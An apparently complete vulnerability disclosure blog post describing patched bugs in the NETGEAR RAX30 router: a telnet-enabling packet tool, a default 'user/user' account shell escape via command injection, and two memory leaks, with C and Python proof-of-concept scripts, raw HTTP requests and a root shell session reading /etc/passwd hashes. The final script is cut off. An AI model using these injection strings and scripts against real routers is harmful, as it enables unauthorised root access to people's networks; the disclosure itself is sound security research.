Skip to navigation Skip to main content Skip to footer

NETGEAR Routers: A Playground for Hackers?

15 May 2023

By McCaulay Hudson


Summary

The following vulnerabilities were identified on the NETGEAR Nighthawk WiFi 6 Router (RAX30 AX2400) and may exist on other NETGEAR router models. All vulnerabilities discussed are patched in firmware version 1.0.10.94.

The vulnerable firmware can be downloaded on NETGEAR’s website at RAX30-V1.0.7.78.zip and RAX30-V1.0.9.92.zip.

Advisories

NETGEAR published the following advisories covering the majority of these vulnerabilities:

Vulnerabilities

Telnet

By design, no shell to gain command line access to the router was documented by NETGEAR. However, it was observed that the binary /usr/bin/pu_telnetEnabled was running on port 23/udp on the router’s LAN side interface, which could receive a specially crafted packet to enable telnet.

Various researchers have previously analyzed this binary in the past, as seen at OpenWRT NETGEAR Telnet Console and GitHub NETGEARTelnetEnable. However, the provided code to enable telnet did not work for this specific NETGEAR RAX30 AX2400 model. This is because, for historical versions of /usr/bin/pu_telnetEnabled, the admin password was sent in plaintext after being decrypted, whereas on this version, the password was expected to be hashed using SHA-256 before encryption.

The /usr/bin/pu_telnetEnabled binary listened for a custom encrypted packet containing the device admin username, admin password and LAN MAC address. It was possible to reverse engineer the binary by extracting the binary from the firmware image that could be publicly downloaded from NETGEAR’s website. The exact specifics on the packet format and encryption used remained the same as detailed in OpenWRT NETGEAR Telnet Console.

The following C program (telnet_packet_encrypt.c) was used to encrypt the payload with the Blowfish algorithm and must be compiled with Rupan/blowfish.

#include 
#include 
#include 
#include 
#include 
#include "blowfish/blowfish.h"

// gcc telnet_packet_encrypt.c blowfish.c -o telnet_packet_encrypt

void printBuffer(uint8_t* buffer, int length)
{
    for (int i = 0; i < length; i++)
        printf("%02x", buffer[i]);
}

bool hexStringToBytes(char* hex, char* buffer, size_t bufferSize)
{
    size_t hexLength = strlen(hex);

    size_t index = 0;
    for (size_t i = 0; i < hexLength; i += 2)
    {
        if (index >= bufferSize)
            return false;
        sscanf(hex + i, "%2hhx",  buffer[index]);
        index++;
    }
    return true;
}

int main(int argc, char* argv[])
{
    if (argc != 3)
    {
        printf("Usage: %s  ", argv[0]);
        return 1;
    }

    char* key = argv[1];
    size_t keyLength = strlen(key);

    char* hexPayload = argv[2];
    size_t hexPayloadLength = strlen(hexPayload);

    // Ensure key is not empty
    if (strlen(key) <= 0)
    {
        printf("Error: Key parameter must not be empty.");
        return 2;
    }

    // Ensure hex payload is not empty
    if (hexPayloadLength != 0x80 * 2)
    {
        printf("Error: Payload parameter must be 0x80 bytes.");
        return 3;
    }

    // Ensure hex payload size is a multiple of 2
    if (hexPayloadLength % 2 != 0)
    {
        printf("Error: Payload parameter must be a valid hex string.");
        return 4;
    }

    // Get the hex payload as bytes
    size_t plaintextBufferSize = (size_t)(hexPayloadLength / 2);
    uint8_t* plaintextBuffer = (uint8_t*)malloc(plaintextBufferSize);
    hexStringToBytes(hexPayload, plaintextBuffer, plaintextBufferSize);

    // Initalise Blowfish
    BLOWFISH_CTX gContext;
    Blowfish_Init( gContext, key, keyLength);

    // Encrypt plaintextBuffer to encryptedBuffer
    uint32_t encryptedBuffer[plaintextBufferSize / sizeof(uint32_t)];
    uint8_t* pPlaintextCurrent = plaintextBuffer;
    for (uint8_t* pCurrent = (uint8_t*)encryptedBuffer; (uint64_t)pCurrent - (uint64_t)encryptedBuffer < plaintextBufferSize; pCurrent += 8)
    {
        uint8_t* pcVar2 = pCurrent - 1;
        uint8_t* pcVar6 = pPlaintextCurrent;
        uint8_t* pcVar7;
        do {
            pcVar7 = pcVar6 + 1;
            pcVar2 = pcVar2 + 1;
            *pcVar2 = *pcVar6;
            pcVar6 = pcVar7;
        } while (pcVar7 != pPlaintextCurrent + 8);
        Blowfish_Encrypt( gContext, (uint32_t*)pCurrent, (uint32_t*)(pCurrent + 4));
        pPlaintextCurrent += 8;
    }
    printBuffer((uint8_t*)encryptedBuffer, plaintextBufferSize);
    return 0;
}

The following Python3 script (pu_telnetenable.py) could then be executed to enable telnet on port 23/tcp on the router if the supplied username, password and MAC address are valid. This itself is not a vulnerability as it was hidden functionality implemented by NETGEAR and still required valid admin credentials in order to gain access to the shell.

import socket
import subprocess
import os
import argparse
import re
import sys
import Crypto.Hash.SHA256
import Crypto.Hash.MD5

import sys

class Logger:
    DEFAULT = '\033[0m'
    BLACK = '\033[0;30m'
    RED = '\033[0;31m'
    GREEN = '\033[0;32m'
    ORANGE = '\033[0;33m'
    BLUE = '\033[0;34m'
    PURPLE = '\033[0;35m'
    CYAN = '\033[0;36m'
    LIGHT_GRAY = '\033[0;37m'
    DARK_GRAY = '\033[1;30m'
    LIGHT_RED = '\033[1;31m'
    LIGHT_GREEN = '\033[1;32m'
    YELLOW = '\033[1;33m'
    LIGHT_BLUE = '\033[1;34m'
    LIGHT_PURPLE = '\033[1;35m'
    LIGHT_CYAN = '\033[1;36m'
    WIHTE = '\033[1;37m'

    @staticmethod
    def write(message = ''):
        print(message)

    @staticmethod
    def space():
        Logger.write()
    
    @staticmethod
    def fatal(code, message = ''):
        Logger.error(message)
        sys.exit(code)

    @staticmethod
    def error(message = ''):
        Logger.write(Logger.RED + '[-] ' + message + Logger.DEFAULT)

    @staticmethod
    def warning(message = ''):
        Logger.write(Logger.ORANGE + '[!] ' + message + Logger.DEFAULT)

    @staticmethod
    def info(message = ''):
        Logger.write(Logger.BLUE + '[#] ' + Logger.DEFAULT + message)

    @staticmethod
    def success(message = ''):
        Logger.write(Logger.GREEN + '[+] ' + Logger.DEFAULT + message)

class Payload:
    def __init__(self, username, password, mac, log = True):
        self.username = username
        self.password = password
        self.mac = mac
        self.signature = None

        # SHA256 Hash password
        self.sha256PasswordHash = Crypto.Hash.SHA256.new(self.password.encode('ascii')).digest().hex()

        # Create payload
        if log:
            Logger.info('Creating payload...')
        self.payload = self.create(log)

        # Encrypt payload
        if log:
            Logger.info('Encrypting payload...')
        self.encrypted = self.encrypt(log)

    # typedef struct {
    #     char signature[16];      // 0x00
    #     char mac[16];            // 0x10
    #     char username[16];       // 0x20
    #     char password[65];       // 0x30
    #     uint8_t reserved[15];    // 0x71
    # } Payload;
    def create(self, log = True):
        # Pad variables
        bMac = self.mac.encode('ascii').ljust(16, b'\x00')
        bUsername = self.username.encode('ascii').ljust(16, b'\x00')
        bPassword = self.sha256PasswordHash.encode('ascii').ljust(65, b'\x00')
        bReserved = b'\x00' * 15

        # Build content
        bContent = bMac + bUsername + bPassword + bReserved
        assert(len(bContent) == 0x70)

        # Build MD5 hash signature
        self.signature = Crypto.Hash.MD5.new(bContent).digest()
        bSignature = self.signature

        # Build payload
        bPayload = bSignature + bContent
        assert(len(bPayload) == 0x80)

        if log:
            Logger.info('')
            Logger.info('payload {')
            Logger.info('    signature: ' + bSignature.hex())
            Logger.info('    mac: ' + bMac.hex() + ' (' + bMac.decode('ascii') + ')')
            Logger.info('    username: ' + bUsername.hex() + ' (' + bUsername.decode('ascii') + ')')
            Logger.info('    password: ' + bPassword.hex() + ' (' + bPassword.decode('ascii') + ')')
            Logger.info('    reserved: ' + bReserved.hex())
            Logger.info('}')
            Logger.info('')

        return bPayload

    def encrypt(self, log = True):
        key = "AMBIT_TELNET_ENABLE+" + self.sha256PasswordHash

        # Encrypt the packet
        process = subprocess.Popen([os.path.dirname(os.path.realpath(__file__)) + '/telnet_packet_encrypt', key, self.payload.hex()], stdout=subprocess.PIPE)
        stdout, stderr = process.communicate()

        encryptedPayload = bytearray.fromhex(stdout.decode('ascii'))

        if log:
            Logger.info('')
            Logger.info('encrypted payload')
            for i in range(0, len(encryptedPayload), 8):
                Logger.info('    ' + encryptedPayload[i:i + 8].hex())
            Logger.info('')

        return encryptedPayload

    def send(self, ip, port):
        sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM, socket.IPPROTO_UDP)
        sock.sendto(self.encrypted, (ip, port))

class Validation:

    @staticmethod
    def validateUsername(username):
        if len(username) <= 0:
            return "admin"
        if len(username) > 16:
            Logger.fatal(1, 'Username exceeds the maximum length of 16.')
        return username

    @staticmethod
    def validatePassword(password):
        if password == None:
            return ""
        if len(password) > 65:
            Logger.fatal(2, 'Password exceeds the maximum length of 65.')
        return password

    @staticmethod
    def validateMac(mac):
        mac = mac.replace(':', '').upper()
        if not re.match(r"[A-F0-9]{12}", mac):
            Logger.fatal(3, 'MAC address is invalid.')
        return mac

if __name__ == "__main__":
    parser = argparse.ArgumentParser(description='Enable telnet on NETGEAR RAX30 router.')
    parser.add_argument('--ip', default='192.168.1.1', help='The NETGEAR router IP address.')
    parser.add_argument('--port', default=23, type=int, help='The UDP port to connect to.')
    parser.add_argument('--username', default='admin', help='The account username.')
    parser.add_argument('--password', help='The account password.')
    parser.add_argument('--mac', required=True, help='The router LAN MAC address.')

    args = parser.parse_args()
    
    if os.name == 'nt':
        Logger.fatal(4, 'Windows not supported')

    # Validate and create payload    
    payload = Payload(
        Validation.validateUsername(args.username),
        Validation.validatePassword(args.password),
        Validation.validateMac(args.mac)
    )

    # Send payload
    Logger.info('Sending payload...')
    payload.send(args.ip, args.port)

    Logger.info('Payload sent!')

PSV-2023-0008 – Telnet Default Account Privilege Escalation Breakout

A default account command injection breakout vulnerability was present in the /lib/libcms_cli.so library imported by the custom NETGEAR /bin/telnetd binary running on port 23/tcp. By default, this port is not open in the firewall, and therefore it must be opened in order to leverage this vulnerability. This port could be opened by the hidden /usr/bin/pu_telnetEnabled service running on port 23/udp, as discussed previously, or by another vulnerability.

Authentication

The NETGEAR router ships with a default “user” account, which has a hardcoded password of “user”. Standard authentication of this user to telnet provides you with a telnet console that has a limited number of commands:

┌──(kali㉿kali)-[~]
└─$ nc 192.168.2.1 23
!BCM96750 Broadband Router
Login: user
Password: user
> help
help
?
help
logout
exit
quit
reboot
exitOnIdle
ping
lanhosts
passwd
restoredefault
save
swversion
uptime
wan
> sh
telnetd::214.801:error:processInput:384:unrecognized command sh

As you can see, by default, the user only has permission to run a small number of commands and cannot execute the hidden “sh” command due to incorrect account permissions.

Shell Escape

The /lib/libcms_cli.so library handles the command line command received by the user in the cli_processCliCmd function. This function checks the first word of the command against a list of commands in the libraries data section, which are stored using the following C Command structure:

struct Command
{
    char * name;
    char * description;
    uint8_t permission;
    uint8_t lock;
    uint8_t field4_0xa;
    uint8_t field5_0xb;
    void * execute;
};

The structure data in the binary for the vulnerable ping command structure is seen below:

00039d98 23 5b 02 00 23  Command                           [27]
        5b 02 00 c1 00 
        00 00 00 00 00
    00039d98 23 5b 02 00     char *    s_ping_00025b15+14      name          = "ping"
    00039d9c 23 5b 02 00     char *    s_ping_00025b15+14      description   = "ping"
    00039da0 c1              uint8_t   C1h                     permission
    00039da1 00              uint8_t   '\0'                    lock
    00039da2 00              uint8_t   '\0'                    field4_0xa
    00039da3 00              uint8_t   '\0'                    field5_0xb
    00039da4 00 00 00 00     void *    00000000                execute

ping is a command the user has permission to access, and additionally, it has a NULL execute function pointer. Therefore, the code executes the command directly as a shell command [1], as shown in the following cli_processCliCmd function:

int cli_processCliCmd(char *command)
{
    int ret = 0;

    char _command [4096];
    memset(_command,0,4096);
    int cmp = strncasecmp(command, "netctl", 6);
    if (cmp == 0) {
        command = command + 7;
    }

    // Copy command to local buffer
    strcpy(_command, command);
    size_t commandLength = strlen(_command);

    // Calculate the command first word length
    size_t givenCommandFirstWordLength = 0;
    char* commandName = _command;
    while ((givenCommandFirstWordLength != commandLength    (*commandName != ' '))) {
        givenCommandFirstWordLength = givenCommandFirstWordLength + 1;
        commandName = commandName + 1;
    }

    // Find command in command list
    uint8_t currentPermission = currPerm;
    int commandIndex = 0;
    Command *pCommand = pCommands;
    while (true) {
        commandName = pCommand->name;
        size_t commandNameLength = strlen(commandName);

        if (((commandNameLength == givenCommandFirstWordLength)   
            (ret = strncasecmp(_command, commandName, givenCommandFirstWordLength), ret == 0))   
            ((currentPermission   pCommand->permission) != 0)) break;

        commandIndex++;
        pCommand++;
        if (commandIndex == 0x32) {
            return 0;
        }
    }

    [TRUNCATED]

    // [1] If the command has no function pointer, execte command in shell
    if ((code *)pCommands[commandIndex].execute == (code *)0x0) {
        prctl_runCommandInShellWithTimeout(_command);                // <--- [1]
    } else {
        char* args;
        if (givenCommandFirstWordLength == commandLength) {
            args = _command + givenCommandFirstWordLength;
        } else {
            args = _command + givenCommandFirstWordLength + 1;
        }

        // Otherwise execute function pointer
        (*(code *)pCommands[commandIndex].execute)(args);
    }

    [TRUNCATED]
    return 1;
}

No data validation is performed on the command being executed; therefore, we can provide various injection characters to execute another command.

The following list is a subset of injection examples:

  • ping a; /bin/sh
  • ping 127.0.0.1 /bin/sh
  • ping a || /bin/sh
  • ping $(touch /tmp/example)
  • ping `/tmp/example`
  • ping a | touch /tmp/example

The following output snippet shows the command injection vulnerability being leveraged to gain a root/admin shell:

┌──(kali㉿kali)-[~]
└─$ nc 192.168.1.1 23
!BCM96750 Broadband Router
Login: user
Password: user
 > ping -c aa; /bin/sh
ping: invalid number 'aa'


BusyBox v1.31.1 (2022-03-04 19:12:56 CST) built-in shell (ash)
Enter 'help' for a list of built-in commands.

# cat /etc/passwd
admin::0:0:Administrator:/:/bin/sh
support:$1$QkcawmV.$VU4maCah6eHihce5l4YCP0:0:0:Technical Support:/:/bin/sh
user:$1$9RZrTDt7$UAaEbCkq.Qa4u0QwXpzln/:0:0:Normal User:/:/bin/sh
nobody::0:0:nobody for ftp:/:/bin/sh

Web Application

The web application allowed consumers to login to the website and manage their router on the LAN/WLAN interface through a browser. The majority of the web application functionality was only accessible from an authenticated user, however some functionality was accessible as an unauthenticated user.


PSV-2022-???? – JSON Response Stack Data Leak

A memory read leak vulnerability existed in the unauthenticated web /webs/pwd_reset/reset_pwd.cgi binary which ran by default on the LAN interface of the RAX30 router. This binary is a custom NETGEAR CGI binary which handled unauthenticated password reset HTTP requests through the HTTP server.

This leak allowed you to read approximately 12 bytes from the stack before reaching a NULL byte.

Analysis

The handle_checkSN (0x015f70) function is shown below and handled a serial number check request as part of the reset password process. When the JSON parameter serialNumber was not found [2], the request JSON body [3] was passed as the error message to jsonResponse (0x0012cac) [4].

void handle_checkSN(int jsonData)
{
    fprintf(stderr,"CGI_DEBUG> %s:%d: Enter check serial number...\n","cgi_device.c",0xb5);
    int serialNumberObj;

    // Do not provide the "serialNumber" key to ensure we hit the following if statement
    int iVar1 = json_object_object_get_ex(jsonData,"serialNumber", serialNumberObj); // <--- [2]
    if (iVar1 == 0) {
        fprintf(stderr,"CGI_ERROR> %s:%d: Failed to parse the input JSON data no serialNumber!!!\n","cgi_device.c",0xd5);
        // The json is retrieved from the "data" key
        char *message = json_object_get_string(jsonData);                            // <--- [3]

        // JSON string is passed to jsonResponse
        jsonResponse("error",message);                                               // <--- [4]
        fprintf(stderr,"CGI_DEBUG> %s:%d: Exit check serial number...\n","cgi_device.c",0xd9);
    }
    else {
        [TRUNCATED]
    }
    return;
}

This function allocated a buffer of 1024 bytes on the stack [5] for the response string and then copied 1023 bytes from the JSON request to the buffer [6]. However, no NULL terminator was set at the end of the buffer, therefore when providing a request of more than 1024 bytes, no NULL value was present to terminate the string and the data following the string was leaked until a NULL byte was found when printed with printf [7].

void jsonResponse(char *status,char *message)
{
    // Buffer of size 1024
    char buffer [1024];                                      // <--- [5]

    int uVar1 = json_object_new_object();
    int uVar2 = json_object_new_string(status);
    json_object_object_add(uVar1, "status", uVar2);
    uVar2 = json_object_new_string(message);
    json_object_object_add(uVar1, "message", uVar2);
    char *json = json_object_to_json_string_ext(uVar1, 2);

    // Copy first 1023 bytes of JSON string to buffer
    strncpy(buffer, json, 1023);                             // <--- [6]

    // No NULL terminator is set at buffer[1024] = '\0', buffer is outputted to response
    printf("Content-Type: application/json\n\n%s", buffer);  // <--- [7]
    json_object_put(uVar1);
    return;
}

HTTP Requests

The following request of 971 A characters in the JSON data field value caused the server to respond with leaked memory data. Only 971 characters were required because of the additional characters appended by the server in the JSON response which in total resulted in 1024 bytes.

POST /pwd_reset/reset_pwd.cgi HTTP/1.1
Host: 192.168.2.1
Content-Length: 1008

{"function":"checkSN","data":{"":"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"}}

The excess binary data could be seen after the JSON response:

HTTP/1.1 200 OK
Content-Type: application/json
[TRUNCATED]
Content-Length: 1035
Server: lighttpd/1.4.59

{
  "status":"error",
  "message":"{ \"\": \"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\" }"
}¶Ø}/+Àw

Python Proof of Concept Script

The following proof of concept script (reset_pw_check_sn_leak.py) triggers the leak.

#!/usr/bin/env python3

import argparse
import requests
import urllib3

if __name__ == "__main__":
    urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
    parser = argparse.ArgumentParser(description='Leak memory from the web server on NETGEAR RAX30 router.')
    parser.add_argument('--ip', default='192.168.0.1', help='The NETGEAR router web IP.')

    args = parser.parse_args()

    print('Leaking data...')
    limit = 30
    for i in range(0, limit):
        payload = 'A' * 971
        response = requests.post('http://' + args.ip + '/pwd_reset/reset_pwd.cgi', json={
            'function': 'checkSN',
            'data': {
                '': payload
            }
        }, verify=False)

        if b'status":"error' in response.content:
            overflow = response.content[1023:]
            print(str(i + 1) + '/' + str(limit) + ': ' + " ".join(["{:02x}".format(x) for x in overflow]))
        else:
            print('Received unexpected response from server!')

Upon executing this script, we can see the leaked memory bytes containing memory pointers.

└─$ python3 reset_pw_check_sn_leak.py
Leaking data...
1/10: b6 d8 0d 81 b6 28 8f e2 01 c0 77 01
2/10: b6 d8 0d 82 b6 28 1f 4c
3/10: b6 d8 cd 84 b6 28 3f ba
4/10: b6 d8 ad 84 b6 28 5f 59
5/10: b6 d8 7d 7e b6 28 df a6 01 c0 77 01
6/10: b6 d8 fd 80 b6 28 af 65
7/10: b6 d8 6d 87 b6 28 1f b1 01 c0 77 01
8/10: b6 d8 dd 87 b6 28 ff a9 01 c0 77 01
9/10: b6 d8 4d 7d b6 28 9f bf
10/10: b6 d8 3d 87 b6 28 cf 8e 01 c0 77 01

Patch v1.0.9.92

The buffer stack variable is now initialized with NULL bytes and as only 1023 bytes are copied from the JSON string, the buffer will always have a NULL terminator.

void jsonResponse(char *status,char *message)
{
    // Buffer of size 1024
    char buffer [1024];
    memset(buffer, 0, 1024);
    ...
    strncpy(buffer, json, 1023);
}

SOAP Service

A HTTPS SOAP service (/bin/soap_serverd) runs by default on port LAN 5043/tcp. The custom NETGEAR SOAP service handles HTTPS requests from the Nighthawk App when the mobile device is connected to the router on the LAN/WLAN interface. The /bin/soap_serverd binary auto-restarts after approximately 15 seconds when it has terminated or crashed.

Checking the /bin/soap_serverd binary with checksec.py shows the following protections are set:

└─$ checksec --file bin/soap_serverd 
[*] '/bin/soap_serverd'
    Arch:     arm-32-little
    RELRO:    Full RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      PIE enabled
    FORTIFY:  Enabled

The presence of these mitigation’s cause many vulnerabilities to be ineffective on their own and usually require multiple vulnerabilities to be chained together to overcome.

For example, a stack canary inserts a random 4 byte value at the end of the stack variables and therefore any stack buffer overflow vulnerabilities will corrupt this value before corrupting important stack values such as the next return pointer. A check occurs at the end of each function to validate the stack canary is not corrupted, however if it is corrupt, the binary will terminate with the error message “Stack smashing detected”.

Address layout randomization (ASLR) is enabled which changes the base address of the main executable, libraries and the heap each time the executable is ran. Therefore, hard-coded addresses cannot be used in the vulnerability payload and instead a separate leak vulnerability is required.


PSV-2023-0009 – Write HTTP Response Stack Pointer Leak

Analysis

A stack pointer leak vulnerability exists within the writeHttpResponse (0x0018b4c) function which handles sending the HTTP response to the API request. The vulnerability occurs due to the executing of strncat [8] on the stack buffer response without initialising the buffer with data. Therefore, if any data exists in memory at the response stack location that does not start with a NULL byte, that data will be sent in the HTTP response before the main HTTP response.

void writeHttpResponse(UnkArg *param_1, int httpCode, char *httpCodeStr, int param_4, char *message)
{
    size_t responseLen;
    char buffer [128];
    char response [1024];

    _writeHttpHeaders(httpCode, httpCodeStr, param_4, "text/html");
    memset(buffer, 0, 0x80);
    __snprintf_chk(buffer, 0x80, 1, 0x80, "%d %s\n\"#cc9999\">

%d %s

\ n"
, httpCode, httpCodeStr, httpCode, httpCodeStr); strncat(response, buffer, 0x80); // Buffer is appended to any existing data in the response variable <--- [8] memset(buffer, 0, 0x80); __snprintf_chk(buffer, 0x80, 1, 0x80, "%s\n", message); strncat(response, buffer, 0x80); memset(buffer, 0, 0x80); __snprintf_chk(buffer, 0x80, 1, 0x80, "
\n
\"%s\">%s\n\n", "http://schemas.xmlsoap.org/soap/encoding/", "\"OS/version\" UPnP/1.0 \"product/version\""); strncat(response, buffer, 0x80); responseLen = strlen(response); __fprintf_chk(param_1->file, 1, response, responseLen); return; }

HTTP Requests

To trigger the stack pointer leak, a valid SOAP request with a large SOAPAction buffer is sent to the SOAP service to create a large HTTP response. This is done to avoid NULL bytes truncating the amount of data that is leaked.

POST /soap/server_sa/ HTTP/1.0
User-Agent: ksoap2-android/2.6.0+
SOAPAction: urn:NETGEAR-ROUTER:service:DeviceInfo:1#AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
Content-Length: 443
Host: 192.168.2.1:5043


<> xmlns:i="http://www.w3.org/2001/XMLSchema-instance" xmlns:d="http://www.w3.org/2001/XMLSchema" xmlns:c="http://schemas.xmlsoap.org/soap/encoding/" xmlns:v="http://schemas.xmlsoap.org/soap/envelope/">
    
        
    
    
        <> xmlns:n0="urn:NETGEAR-ROUTER:service:DeviceInfo:1" />
    

Next, an invalid request is made to trigger the writeHttpResponse function call which returns the HTTP response with the leaked data preceding it.

INVALID /soap/server_sa/ HTTP/1.0
User-Agent: ksoap2-android/2.6.0+
Content-Length: 0
Host: 192.168.2.1:5043

The resulting response outputs the leaked memory before the HTTP response, including a stack address pointer:

AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAResponse
        xmlns:m="urn:NETGEAR-ROUTER:service:DeviceInfo:1">
    <¨È×¾HTTP/1.1 400 Bad Request
Server: "OS/version" UPnP/1.0 "product/version"
Date: Fri, 02 Dec 2022 01:07:47 GMT
Content-Type: text/html
Connection: close

</span><span style="color:#ae81ff">400</span> Bad Request<span style="color:#f92672;font-weight:bold">
<> BGCOLOR="#cc9999">

400 Bad Request That method is not handled by us.
<>
HREF="http://schemas.xmlsoap.org/soap/encoding/">"OS/version" UPnP/1.0 "product/version"

Python Proof of Concept Script

The following proof of concept script (soap_cat_memory_leak.py) can be executed to leak the stack address range and stack pointer address on firmware version v1.0.9.92.

#!/usr/bin/env python3

import argparse
import requests
import urllib3
import struct
import ssl
import socket

def sendLargeBuffer(url, length):

    payload = 'A' * length

    headers = {
        'User-Agent': 'ksoap2-android/2.6.0+',
        'SOAPAction': 'urn:NETGEAR-ROUTER:service:DeviceInfo:1#' + payload,
        'Content-Type': 'text/xml;charset=utf-8',
    }

    xml = """
    
    
        
            
        
        
            
        
    
    """

    requests.post(url, data=xml, headers=headers, verify=False)

def triggerMemoryLeak(hostname, port):
    request = """INVALID /soap/server_sa/ HTTP/1.0
User-Agent: ksoap2-android/2.6.0+
Content-Length: 0
Host: """+hostname+""":"""+str(port)+"""

"""

    # Create SSL context
    cxt = ssl.create_default_context()
    cxt.check_hostname = False
    cxt.verify_mode = ssl.CERT_NONE

    # HTTPS Request
    response = b""
    with socket.create_connection((args.domain, args.port)) as sock:
        with cxt.wrap_socket(sock, server_hostname=args.domain) as ssock:
            ssock.send(request.encode())
            while True:
                data = ssock.recv(2048)
                if len(data) <= 0:
                    break
                response += data

    return response

if __name__ == "__main__":
    urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
    parser = argparse.ArgumentParser(description='Remote stack pointer leak from soap_serverd binary on NETGEAR RAX30 router.')
    parser.add_argument('--domain', default='routerlogin.net', help='The NETGEAR router domain.')
    parser.add_argument('--port', default=5043, type=int, help='The router soap server port.')

    args = parser.parse_args()
    domain = 'https://' + args.domain + ':' + str(args.port)

    print('Sending large buffer...')
    sendLargeBuffer(domain + '/soap/server_sa/', 500)

    print('Triggering leak...')
    response = triggerMemoryLeak(args.domain, args.port)

    # Remove surrounding ASCII
    leakStart = b'xmlns:m="urn:NETGEAR-ROUTER:service:DeviceInfo:1">\r\n    <'
    leakEnd = b'HTTP/1.1 400 Bad Request\r\n'
